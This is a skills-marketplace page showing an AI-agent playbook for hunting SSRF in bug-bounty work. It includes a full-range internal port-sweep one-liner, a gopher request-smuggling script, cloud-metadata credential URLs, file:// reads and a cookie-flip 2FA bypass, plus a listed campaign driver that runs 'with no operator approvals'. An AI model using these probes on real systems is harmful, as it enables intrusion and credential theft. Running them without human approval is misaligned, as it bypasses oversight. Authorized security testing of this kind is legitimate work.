本文へ移動
cccskills
無料GitHub で公開

hunt-ssrf

SSRF hunting - OOB-mandatory methodology. Cloud metadata, blind SSRF via Collaborator/interactsh, redirect-based bypass, headless browser chains. Wiki-first, FIND schema output.

インストール方法を見る

含まれるファイル(1)

  • SKILL.md8.8 KB

SKILL.md(原文)

インストールする前に、エージェントに与えられる指示の中身を確認できます。

Hunt: SSRF

Assumes hunt-core for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.

Wiki

qmd_query "SSRF server-side request forgery cloud metadata" via wiki-search MCP

Hub: [[web-moc]] (live web index). Primary page: [[wiki/payloads/ssrf]]. Payload arsenal: wiki/payloads/ssrf.md. Bypass variants: [[dns-rebinding]] (hostname re-resolution TOCTOU past an allowlist), [[open-redirect]] (chain a trusted redirect to an internal target).

Confirmation gate

Blind SSRF claims require OOB confirmation. No exceptions.

NOT confirmation: URL echo in error message, different status code, delayed response alone. IS confirmation: DNS lookup or HTTP request to your unique Collaborator/interactsh subdomain.

When you plant a blind/OOB SSRF payload, append a row to targets/<eng>/oob.md: | <token> | <sink url+param> | ssrf | <date> | waiting | | (columns: token | sink | class | planted | status | source, where token = your unique Collaborator/interactsh label). The recon-capture hook auto-correlates incoming callbacks to flip the row to HIT and SessionStart surfaces HITs; a HIT row is the confirmation gate to scaffold the FIND. Do NOT claim a blind SSRF without a HIT row.

Setup OOB before testing (full channel guide: wiki oob-callbacks - DNS-vs-HTTP, self-hosted interactsh, DNS exfil):

interactsh-client -v   # or use Burp Collaborator
# Tag each sink: dlsrcurl.<collab>, import.<collab>, webhook.<collab>

Attack Surface Signals

URL patterns:

?url=  ?uri=  ?src=  ?source=  ?feed=  ?host=  ?target=  ?dest=
?redirect=  ?callback=  ?image=  ?fetch=  ?load=  ?endpoint=
/api/*/preview  /api/*/fetch  /api/*/import  /api/*/webhook  /api/*/render

High-value tech: Kubernetes (internal API), GCP/AWS/Azure (metadata), headless browsers (PDF/screenshot), link-preview features, file-import pipelines.

Check SCHEME control EARLY (before grinding host/port bypasses). If the sink concatenates your input as a raw URL PREFIX with no hardcoded scheme (e.g. pycurl setopt(URL, server + '/path'), requests.get(host+path); tell: the default value has no http://, like server=host:8087), you control the scheme, not just the host -> try file:///etc/passwd and file:///<app-source> for a straight LFI, and gopher:// for internal TCP. The moment file:// reads a file, READ THE APP SOURCE FIRST - it reveals the real ports/ auth/next-steps faster than any probing, and on Flask debug=True a file-read computes the console PIN -> RCE ([[werkzeug-debug-console-rce]]). Also: pointing the sink at your own listener leaks its outbound request headers (API keys/tokens). See [[wiki/payloads/ssrf]] "Scheme-controllable SSRF -> file:// LFI".

Once outbound is confirmed: ENUMERATE INTERNAL FIRST (do not skip)

An internal-only service is the usual SSRF objective and it is invisible to your external nmap, so the SSRF is your only scanner. Before grinding cloud metadata or filter bypasses, sweep 127.0.0.1 ports THROUGH the sink and fingerprint everything that answers:

export T=<target>
# non-empty / distinct body = open. Sweep the FULL range, threaded (-P 50). Under no_dos or a
# scan-rate cap in scope.md, probe the curated high-value port list in wiki/payloads/ssrf instead
# of blasting all 65535. This is service discovery, NOT object enumeration -- the hunt-core 5-20
# ceiling does not apply; the RoE cap does.
seq 1 65535 | xargs -P50 -I{} sh -c 'r=$(curl -s -m3 "http://$T/preview.php?url=http://127.0.0.1:{}/"); [ -n "$r" ] && echo "OPEN {} len=${#r}"'
  • Sweep wide. "Common ports only" misses the box: THM Extract hid its objective (a Next.js app) on internal :10000. Threaded drop-in + curated high-value ports in [[wiki/payloads/ssrf]] payloads.
  • Fingerprint each internal service and run it through playbook.json / the matching hunt skill exactly as if it were external (<title>, Server / x-powered-by, /_next/static -> Next.js -> CVE-2025-29927, /solr, /actuator, Jenkins, GitLab...). recon-capture only fingerprints EXTERNAL tool output, so an SSRF-discovered app will NOT auto-fire the playbook - you must apply it by hand. This is exactly where internal CVEs get missed.

Gopher: send what ?url= cannot

A plain ?url= fetch issues a fixed GET with no control over method/headers/cookies/body. Many internal exploits need precisely that control. gopher://host:port/_<raw-bytes> makes the sink open a raw TCP socket and send arbitrary bytes - a full HTTP request you craft:

import urllib.parse, subprocess
T="<target>"
def gopher(raw: bytes, port: int):                       # raw = the complete request you build
    sel=''.join('%%%02X'%b for b in raw)                 # percent-encode bytes -> gopher selector
    g='gopher://127.0.0.1:%d/_%s'%(port, sel)
    return subprocess.run(['curl','-s','-m','10',
        'http://%s/preview.php?url=%s'%(T, urllib.parse.quote(g, safe=''))],   # encode again for ?url=
        capture_output=True).stdout
req=b'GET /admin HTTP/1.1\r\nHost: 127.0.0.1\r\nx-middleware-subrequest: middleware\r\nConnection: close\r\n\r\n'

Unlocks: custom headers for header-based CVEs (Next.js CVE-2025-29927 x-middleware-subrequest), HTTP Basic auth (Authorization: Basic), POST logins, forged cookies (serialized-object / JWT swaps), and raw protocols (Redis / FastCGI / SMTP). Full send(method,path,headers,cookie,body) builder in [[wiki/payloads/ssrf]] payloads. Gopher cannot read files - it is for TCP services, not file://.

Methodology

  1. Map all URL-input parameters across the target
  2. Set up OOB listener, sub-tag per sink
  3. Send callback URL as parameter value first - confirm server makes outbound connection
  4. Test cloud metadata:
# AWS IMDSv1
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# GCP (requires Metadata-Flavor: Google)
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
  1. Internal services: sweep the FULL port range via the sink (see "ENUMERATE INTERNAL FIRST" above), not just these known ones:
http://127.0.0.1:6443/api/v1/namespaces    # Kubernetes API
http://127.0.0.1:2379/v2/keys              # etcd
http://127.0.0.1:9200/                     # Elasticsearch
http://127.0.0.1:9090/                     # Prometheus
http://127.0.0.1:{3000,5000,8000,8080,8888,9000,10000}/   # app/admin ports - where the objective usually hides
  1. Test redirect-based SSRF (host redirect server pointing to internal addresses)
  2. Test headless browser contexts - inject <script>fetch(...) for PDF/screenshot endpoints
  3. Chain: SSRF -> cloud creds -> account takeover; SSRF -> Redis/memcached -> RCE
  4. Distill when confirmed (per hunt-core): reusable cloud bypass or SSRF chain, GENERIC, python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/web/ssrf.md.

Lessons (THM Extract)

  • The objective (a Next.js app) sat on internal :10000, reachable ONLY via the SSRF. A full-range internal sweep found it; a "common ports" pass did not. Sweep wide, sweep early.
  • The win was a header (x-middleware-subrequest) a ?url= GET can't set -> delivered over gopher. When a known CVE needs a specific header/method/cookie, reach for the gopher builder, not a fancier ?url= value.
  • An SSRF-reachable internal admin (localhost-only /management, Apache Require ip) is in scope: HTTP Basic auth, a POST login, and a forged serialized-object cookie (PHP O:9:"AuthToken":...{validated;b:0} -> flip to b:1 = 2FA bypass) all rode the one gopher tunnel.
  • server-status / access-log read via SSRF echoes YOUR OWN requests (gopher = 127.0.0.1, direct hits = your VPN IP). Filter your source IPs before treating a repeated request as a victim cron - a phantom "cron" here was self-induced and burned time.
  • File read stayed blocked (file:// / php:// / data:// keyword-filtered, case-insensitive) and the chain needed none. Don't grind source disclosure the chain doesn't require.

Severity

FIND output and Deadends format per hunt-core; rated on what the SSRF actually reached:

  • critical - cloud metadata credentials retrieved (IMDS role creds).
  • high - internal service access (admin panel, Redis/etcd/k8s API, an internal app).
  • medium - DNS-only OOB, no internal read.

Class deadend line: - [ ] SSRF on <host> param <param> -- zero OOB callbacks, URL echo only (server-side validation, not fetching). Exhaustion is ~38 payloads with zero callbacks.

レビュー

まだレビューはありません。使ってみた感想をお寄せください。

同じリポジトリのスキル

概要と使いどころ

arsenal

無料

Wiki-first "what do I use" lookup - pick the automated TOOL (wiki/tools/), then the PAYLOAD/technique (wiki/payloads/ + wiki/cheatsheets/), for a surface/service/vuln-class BEFORE hand-rolling or working from memory. Use for "tool for <service>", "automated tools for web/<service>", "what should I run on <surface>", "which tool for <X>", "payloads for <X>", "payload arsenal", "cheatsheet for <X>", "how do I exploit <tech/class>", "exploit/attack chain for <X>", "arsenal", any SSRF/XSS/SQLi/SSTI/LFI/JWT/XXE/IDOR/NoSQL/deserialization/CSRF/CORS/CRLF/GraphQL/smuggling/web-cache/OAuth/SAML/MFA/crypto/LDAP/XPath/WebAuthn/file-upload/IMDS/prompt-injection/Modbus ask, plus "privesc arsenal", "CVE arsenal", "default creds", "nuclei templates", "sqlmap/hydra/nmap/bloodhound", "password attacks".

日本語の概要は準備中です。原文の説明を表示しています。

Encod3d-Sec/TORCH3302026年9月1日 更新

Autonomous bug-bounty campaign driver. Runs a full programme end to end with no operator approvals - the deterministic driver (scripts/campaign.py) owns pass state, generates the killchain board from recon, and prints the exact next action (including which Skill and tool to run) every turn. Use when starting or resuming a bug-bounty engagement, "run the bb workflow", "hunt this program", "9-pass campaign", or when handed a *.scope wildcard to test for TIER1 findings. Single agent, refuter-verified, wiki-first, tool-first.

日本語の概要は準備中です。原文の説明を表示しています。

Encod3d-Sec/TORCH3302026年9月1日 更新

Health check for the bb/pt/ctf workflow driver subsystem - verifies everything is in place so every machine runs the same. Checks vault-content consistency (scripts present, JSON valid, routing wired, all 69 tool pages carry phase:, the tool index resolves, the hook edits are in place) AND per-machine wiring (the three workflow skills symlinked, hooks registered, imports work), then runs a live init->board->next smoke test. Use when setting up the workflow on a new machine, after a vault sync, when the driver misbehaves, or on "bb-health", "campaign health", "is the workflow set up", "check hooks and scripts", "why is the board not working".

日本語の概要は準備中です。原文の説明を表示しています。

Encod3d-Sec/TORCH3302026年9月1日 更新

Bring up a REAL, visible, interactive chromium on the Kali VM that the operator logs into (Smart-ID / Mobile-ID / any manual auth or MFA/CAPTCHA), while the agent drives and observes it live through the chrome-devtools MCP (navigate, DOM snapshot, network capture, screenshots, console, evaluate). Use whenever a target needs a MANUAL login the agent cannot complete headlessly, when you need to capture an authenticated session / the real API calls a page makes, or to confirm/screenshot a DOM-XSS. Triggers - "open a browser", "log in manually", "smart-id / mobile-id / national id login", "mfa / 2fa login", "solve the captcha", "drive the browser", "capture the authenticated session / network".

日本語の概要は準備中です。原文の説明を表示しています。

Encod3d-Sec/TORCH3302026年9月1日 更新

OFFLINE FALLBACK for the claude-md-management plugin - prefer that plugin when it is installed. Audit and improve CLAUDE.md files - scan for CLAUDE.md files, evaluate quality against templates, output a report, then make targeted updates. Invoke explicitly (/claude-md-improver) when the plugin is unavailable.

日本語の概要は準備中です。原文の説明を表示しています。

Encod3d-Sec/TORCH3302026年9月1日 更新

coverage

無料

Show per-asset vuln-class coverage gaps for the active engagement so nothing in scope is skipped. Use when asked "coverage", "what haven't we tested", "test gaps", "are we thorough", or before calling an engagement done.

日本語の概要は準備中です。原文の説明を表示しています。

Encod3d-Sec/TORCH3302026年9月1日 更新

Encod3d-Sec のスキルをすべて見る

このスキルの問題を報告する